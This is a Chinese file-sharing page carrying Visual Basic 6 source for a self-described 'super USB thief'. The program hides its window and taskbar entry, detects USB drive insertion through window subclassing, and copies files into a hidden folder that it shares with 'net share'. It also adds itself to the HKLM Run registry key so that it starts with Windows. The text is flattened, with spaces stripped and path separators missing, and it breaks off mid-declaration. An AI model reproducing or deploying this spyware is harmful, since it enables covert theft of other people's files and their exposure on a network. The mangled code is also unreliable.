资源描述:
《本实例实现利用子类化自动检测u盘插入并复制文件到指定文件夹 超强u盘小偷vb源代码》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、本实例实现利用子类化自动检测U盘插入并复制文件到指定文件夹,没有文件夹则自动创建文件夹另一个创新便是将文件夹设置为隐藏并共享文件夹Øform1窗体代码(设置为启动)OptionExplicitPrivateSubForm_Load()OnErrorResumeNextIfApp.PrevInstance=TrueThenEndApp.TaskVisible=FalseMe.Visible=False'子类化窗体的消息处理函数ReDimMatchedFile(0To1,0To0)ReDimStoreAllFile(0To0)'检测U盘Di
2、mPathN,FileNFileN="Ufile"HookFormMeIfGetFileAttributes("c:windowstmpUfile")=-1ThenMkDir("c:windowstmpUfile")PathN="c:windowstmpUfile"Shell"cmd/cnetshare"&FileN&"="&PathNSetAttr"c:windowstmpUfile",2+4+32EndIfDimRet2AsLong''打开HKEY_LOCAL_MACHINE 下的 softwarem
3、icrosoftwindowscurrentVersionrunServices 主键RegCreateKeyHKEY_LOCAL_MACHINE,"softwaremicrosoftwindowscurrentVersionrun",Ret2''将此主键下的“默认”项的值改为"c:windowssystemmyprogram.exe",也就是要开机运行的程序路径RegSetValueRet2,vbNullString,REG_SZ,Replace(App.Path&"","\","")&App.EXEName
4、&".exe",4''关闭对主键的操作RegCloseKeyRet2EndSubPrivateSubForm_Unload(CancelAsInteger)'程序退出时恢复原窗体处理函数UnHookFormMeEndSubØModule1代码OptionExplicit'获取文件、目录属性。支持...PublicDeclareFunctionGetFileAttributesLib"kernel32"Alias"GetFileAttributesA"(ByVallpFileNameAsString)AsLong'子类化窗体消息处理函数
5、时需要使用的API,很常见,不作过多说明。PublicDeclareFunctionSetWindowLongLib"user32"Alias"SetWindowLongA"(ByValhwndAsLong,ByValnIndexAsLong,ByValdwNewLongAsLong)AsLongPublicDeclareFunctionCallWindowProcLib"user32"Alias"CallWindowProcA"(ByVallpPrevWndFuncAsLong,ByValhwndAsLong,ByValMsgAsLo
6、ng,ByValwParamAsLong,ByVallParamAsLong)AsLongPublicDeclareFunctionGetWindowLongLib"user32"Alias"GetWindowLongA"(ByValhwndAsLong,ByValnIndexAsLong)AsLongDeclareSubCopyMemoryLib"kernel32"Alias"RtlMoveMemory"(pDstAsAny,pSrcAsAny,ByValByteLenAsLong)ConstGWL_WNDPROC=-4ConstWM
7、_DEVICECHANGEAsLong=&H219ConstDBT_DEVICEARRIVALAsLong=&H8000&ConstDBT_DEVICEREMOVECOMPLETEAsLong=&H8004&'设备类型:逻辑卷标ConstDBT_DEVTYP_VOLUMEAsLong=&H2'与WM_DEVICECHANGE消息相关联的结构体头部信息PrivateTypeDEV_BROADCAST_HDRlSizeAsLonglDevicetypeAsLong'设备类型lReservedAsLongEndType'设备为逻辑卷时对应的结
8、构体信息PrivateTypeDEV_BROADCAST_VOLUMElSizeAsLonglDevicetypeAsLonglReservedAsLonglUnitMaskAsLong'和逻辑卷标对应的掩